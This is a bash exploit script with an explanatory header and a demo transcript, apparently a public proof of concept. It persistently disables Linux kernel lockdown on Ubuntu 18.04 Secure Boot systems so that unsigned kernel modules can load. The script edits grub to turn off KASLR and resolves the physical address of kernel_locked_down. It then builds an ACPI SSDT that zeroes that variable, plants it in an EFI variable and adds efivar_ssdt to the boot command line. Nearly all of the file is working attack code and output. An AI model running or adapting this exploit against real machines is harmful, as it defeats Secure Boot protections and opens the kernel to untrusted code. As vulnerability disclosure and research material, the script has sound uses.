aboutsummaryrefslogtreecommitdiffstats
path: root/american-unsigned-language.sh
blob: 4822f881ea2919a10c3e75018da51c41e38ef07d (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/bin/bash

# American Unsigned Language
# ==========================
# by zx2c4, 2020-06-13
#
# This exploit takes advantage of the efivar_ssdt entry point for injecting
# acpi tables into Ubuntu Bionic 18.04 kernels, where efivar_ssdt is not
# protected by kernel lockdown. The result is that one can subsequently load
# unsigned kernel drivers into systems with Secure Boot enabled, without
# needing to sign the modules.
#
# efivar_ssdt points to the name of an EFI variable, for which all GUID'd
# versions are enumerated, and then the contents are loaded as an ACPI table.
# In order for this to be useful we have to create an ASL file to be loaded,
# whose payload has the effect of writing zeros into the kernel_locked_down
# variable. Note that since we're accessing this via a physical address,
# neither various mitigations nor pagetable permissions restrict this. Plus,
# this method is generally executed during kernel init. In order to figure out
# a stable physical address that survives reboots, we just disable kaslr so
# that we can keep the same ssdt on all boots, making exploitation persistent.
#
# The \_SB_.GSIF._STA method is used, because SSDTs loaded this way cannot
# overwrite DSDT methods, but they can add new ones, and on the QEMU rig used
# to develop this, \_SB_.GSIF._STA was not defined, even though the kernel was
# evaluating it. Depending on your platform, you may wish to use a different
# method.
#
# Greetz to jono.
#
# Demo time:
#
# 1) First we show which kernel we're running:
#
# zx2c4@bionicman:~$ uname -a
# Linux bionicman 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11:27:52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
#
# 2) Observe that we can't load unsigned WireGuard:
#
# zx2c4@bionicman:~$ sudo modprobe wireguard
# modprobe: ERROR: could not insert 'wireguard': Required key not available
#
# 3) Run the exploit, whose first stage disables kaslr:
#
# zx2c4@bionicman:~$ ./american-unsigned-language.sh
# [+] Adding kernel cmdline variable to grub
# Sourcing file `/etc/default/grub'
# Generating grub configuration file ...
# Found linux image: /boot/vmlinuz-4.15.0-106-generic
# Found initrd image: /boot/initrd.img-4.15.0-106-generic
# Adding boot menu entry for EFI firmware configuration
# done
# [+] Reboot your computer, and then run this again.
# zx2c4@bionicman:~$ sudo reboot
#
# 4) After the computer reboots, we compute addresses and create an ssdt:
#
# zx2c4@bionicman:~$ ./american-unsigned-language.sh
# [+] Resolving kernel symbols
#  *  kernel_locked_down = 0xffffffff821c6c98
# [+] Mapping virtual address to physical address
#  *  kernel base = 0x1800000
#  *  kernel_locked_down = 0x29c6c98
# [+] Constructing ASL
# [+] Allocating GUID for ASL
#  *  guid = c5cffed4-e102-4ace-9a41-bb2811961602
# [+] Writing ASL to efivarfs
# [+] Adding kernel cmdline variable to grub
# Sourcing file `/etc/default/grub'
# Generating grub configuration file ...
# Found linux image: /boot/vmlinuz-4.15.0-106-generic
# Found initrd image: /boot/initrd.img-4.15.0-106-generic
# Adding boot menu entry for EFI firmware configuration
# done
# [+] Success. Reboot to activate.
# zx2c4@bionicman:~$ sudo reboot
#
# 5) After the computer reboots, we're now good to go, and kernel lockdown
#    is persistently disabled:
#
# zx2c4@bionicman:~$ sudo modprobe wireguard
# zx2c4@bionicman:~$ dmesg | grep WireGuard
# [   40.574623] wireguard: WireGuard 1.0.20200611 loaded. See www.wireguard.com for information.


set -e

SELF="$(readlink -f "${BASH_SOURCE[0]}")"
[[ $UID == 0 ]] || exec sudo -- "$BASH" -- "$SELF" "$@"

echo "=================================="
echo "=   American Unsigned Language   ="
echo "=            by zx2c4            ="
echo "=================================="

if [[ ! -d /boot/efi ]]; then
	echo "[+] Mounting /boot partition"
	mount /boot
fi

if [[ $(< /proc/cmdline) != *nokaslr* ]]; then
	if ! grep -F -q nokaslr /etc/default/grub; then
		echo "[+] Adding kernel cmdline variable to grub"
		echo 'GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT nokaslr"' >> /etc/default/grub
		update-grub
	fi
	echo "[+] Reboot your computer, and then run this again."
	exit 0
fi

if ! command -v iasl >/dev/null 2>&1; then
	echo "[+] Installing dependencies"
	apt-get install -y acpica-tools
fi

echo "[+] Resolving kernel symbols"
read -r addr type symbol < <(grep -F kernel_locked_down /proc/kallsyms)
[[ $symbol == kernel_locked_down ]]
addr=$(( 0x$addr ))
printf ' *  kernel_locked_down = 0x%x\n' "$addr"

echo "[+] Mapping virtual address to physical address"
addr=$(( $addr & ~0xffffffff80000000 ))
while read -r line; do
	[[ $line =~ ([0-9a-f]+)-[0-9a-f]+\ :\ Kernel\ code ]] || continue
	offset=$(( 0x${BASH_REMATCH[1]} ))
	printf ' *  kernel base = 0x%x\n' "$offset"
	offset=$(( $offset - 0x01000000 ))
	addr=$(( $addr + $offset ))
	break
done < /proc/iomem
printf ' *  kernel_locked_down = 0x%x\n' "$addr"

echo "[+] Constructing ASL"
trap 'rm -f /root/trigger.aml /root/trigger.aml.efi' EXIT
iasl -p "/root/trigger" /dev/stdin > /dev/null <<-_EOF
	DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001) {
	  OperationRegion (KMEM, SystemMemory, $(printf '0x%x' "$addr"), 4)
	  Field (KMEM, DWordAcc, NoLock, WriteAsZeros) {
	    LKDN, 32
	  }
	  Method (\_SB_.GSIF._STA) {
	    If (LKDN) {
	      LKDN = Zero
	    }
	    Return (Zero)
	  }
	}
_EOF
{ printf '\007\000\000\000'; cat /root/trigger.aml; } > /root/trigger.aml.efi

echo "[+] Allocating GUID for ASL"
guid=$(find "/sys/firmware/efi/efivars" -name "AmUnsignedLg-*" | head -n1 | cut -f2- -d-)
[[ -n "$guid" ]] || guid="$(< /proc/sys/kernel/random/uuid)"
echo " *  guid = $guid"

echo "[+] Writing ASL to efivarfs"
efivar="/sys/firmware/efi/efivars/AmUnsignedLg-$guid"
[[ -f $efivar ]] && chattr -i "$efivar"
dd if=/root/trigger.aml.efi of="$efivar" bs="$(stat -c %s /root/trigger.aml.efi)" status=none

if ! grep -F -q AmUnsignedLg /etc/default/grub; then
	echo "[+] Adding kernel cmdline variable to grub"
	echo 'GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT efivar_ssdt=AmUnsignedLg"' >> /etc/default/grub
	update-grub
fi

echo "[+] Success. Reboot to activate."